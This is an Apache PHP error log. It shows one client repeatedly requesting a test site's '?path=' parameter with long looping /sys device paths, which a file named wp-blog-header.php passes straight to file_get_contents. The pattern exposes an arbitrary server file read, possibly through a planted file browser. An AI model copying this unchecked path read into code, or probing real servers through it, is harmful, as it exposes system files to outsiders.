[Thu Mar 26 15:05:06.149043 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/drivers/ac
[Thu Mar 26 15:05:07.190898 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:be
[Thu Mar 26 15:05:08.265145 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:ec
[Thu Mar 26 15:05:14.074264 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:dc
[Thu Mar 26 15:05:17.360159 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:cc
[Thu Mar 26 15:05:21.657928 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/devices/device:ea
[Thu Mar 26 15:05:22.216116 2026] [php:warn] [pid 3230778] [client 74.7.241.26:44030] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:aa
[Thu Mar 26 15:05:25.595976 2026] [php:warn] [pid 3216401] [client 74.7.241.26:49940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/devices/device:bc
[Thu Mar 26 15:05:30.401592 2026] [php:warn] [pid 3216401] [client 74.7.241.26:49940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:ca
[Thu Mar 26 15:05:31.488070 2026] [php:warn] [pid 3216401] [client 74.7.241.26:49940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/devices/device:ae
[Thu Mar 26 15:05:34.155378 2026] [php:warn] [pid 3216401] [client 74.7.241.26:49940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ab/subsystem/devices/device:ae
[Thu Mar 26 15:05:40.948964 2026] [php:warn] [pid 3216401] [client 74.7.241.26:49940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/drivers/ac
[Thu Mar 26 15:05:41.501990 2026] [php:warn] [pid 3216401] [client 74.7.241.26:49940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem
[Thu Mar 26 15:05:43.140242 2026] [php:warn] [pid 3216401] [client 74.7.241.26:49940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/devices/device:da
[Thu Mar 26 15:05:52.194885 2026] [php:warn] [pid 3216401] [client 74.7.241.26:49940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:ae
[Thu Mar 26 15:05:56.365172 2026] [php:warn] [pid 3216401] [client 74.7.241.26:49940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem
[Thu Mar 26 15:05:57.415256 2026] [php:warn] [pid 3216401] [client 74.7.241.26:49940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/device:ae/subsystem
[Thu Mar 26 15:05:59.040466 2026] [php:warn] [pid 3216401] [client 74.7.241.26:49940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:bc
[Thu Mar 26 15:05:59.524937 2026] [php:warn] [pid 3216401] [client 74.7.241.26:49940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:be/subsystem/drivers/ac
[Thu Mar 26 15:06:01.143619 2026] [php:warn] [pid 3216401] [client 74.7.241.26:49940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/drivers/ac
[Thu Mar 26 15:06:01.662579 2026] [php:warn] [pid 3216401] [client 74.7.241.26:49940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cd/subsystem/devices/device:dc
[Thu Mar 26 15:06:03.780128 2026] [php:warn] [pid 3216401] [client 74.7.241.26:49940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fe/subsystem/drivers/ac
[Thu Mar 26 15:06:05.875074 2026] [php:warn] [pid 3216401] [client 74.7.241.26:49940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/devices/device:ca
[Thu Mar 26 15:06:06.991032 2026] [php:warn] [pid 3216401] [client 74.7.241.26:49940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ee/subsystem/devices/device:dc
[Thu Mar 26 15:06:11.188449 2026] [php:warn] [pid 3216401] [client 74.7.241.26:49940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/subsystem/drivers/ac
[Thu Mar 26 15:06:13.888354 2026] [php:warn] [pid 3216401] [client 74.7.241.26:49940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cc/subsystem/devices/device:bc
[Thu Mar 26 15:06:14.392643 2026] [php:warn] [pid 3216401] [client 74.7.241.26:49940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cf/subsystem/devices/device:da
[Thu Mar 26 15:06:15.471992 2026] [php:warn] [pid 3216401] [client 74.7.241.26:49940] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:ca
[Thu Mar 26 15:06:18.829367 2026] [php:warn] [pid 3216613] [client 74.7.241.26:35674] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/subsystem
[Thu Mar 26 15:06:24.785123 2026] [php:warn] [pid 3216613] [client 74.7.241.26:35674] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ea/subsystem/devices/device:be
[Thu Mar 26 15:06:25.882010 2026] [php:warn] [pid 3216613] [client 74.7.241.26:35674] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/drivers_probe): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem
[Thu Mar 26 15:06:26.432854 2026] [php:warn] [pid 3216613] [client 74.7.241.26:35674] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/devices/device:fa
[Thu Mar 26 15:06:39.639499 2026] [php:warn] [pid 3216613] [client 74.7.241.26:35674] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:dc/subsystem/drivers/ac
[Thu Mar 26 15:06:41.777239 2026] [php:warn] [pid 3216613] [client 74.7.241.26:35674] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem
[Thu Mar 26 15:06:48.090321 2026] [php:warn] [pid 3216613] [client 74.7.241.26:35674] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/drivers/ac
[Thu Mar 26 15:06:50.625733 2026] [php:warn] [pid 3216613] [client 74.7.241.26:35674] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:ec/subsystem/drivers/ac
[Thu Mar 26 15:06:51.688307 2026] [php:warn] [pid 3216613] [client 74.7.241.26:35674] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:be/subsystem/devices/device:ad/subsystem/devices/device:da
[Thu Mar 26 15:06:55.915471 2026] [php:warn] [pid 3216613] [client 74.7.241.26:35674] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:aa/subsystem/devices/device:ea
[Thu Mar 26 15:06:58.589446 2026] [php:warn] [pid 3216613] [client 74.7.241.26:35674] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bf/subsystem/devices/device:fc
[Thu Mar 26 15:07:01.220288 2026] [php:warn] [pid 3216613] [client 74.7.241.26:35674] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:eb/subsystem/drivers/ec
[Thu Mar 26 15:07:01.712185 2026] [php:warn] [pid 3216613] [client 74.7.241.26:35674] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:fa/subsystem/drivers/ac
[Thu Mar 26 15:07:03.875956 2026] [php:warn] [pid 3216613] [client 74.7.241.26:35674] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/drivers/ec
[Thu Mar 26 15:07:09.611646 2026] [php:warn] [pid 3216613] [client 74.7.241.26:35674] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/subsystem/drivers/ac
[Thu Mar 26 15:07:11.359291 2026] [php:warn] [pid 3216147] [client 74.7.241.26:54414] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:dd/device:de/subsystem/devices/device:ad/subsystem/devices/device:bc/subsystem/devices/device:ae
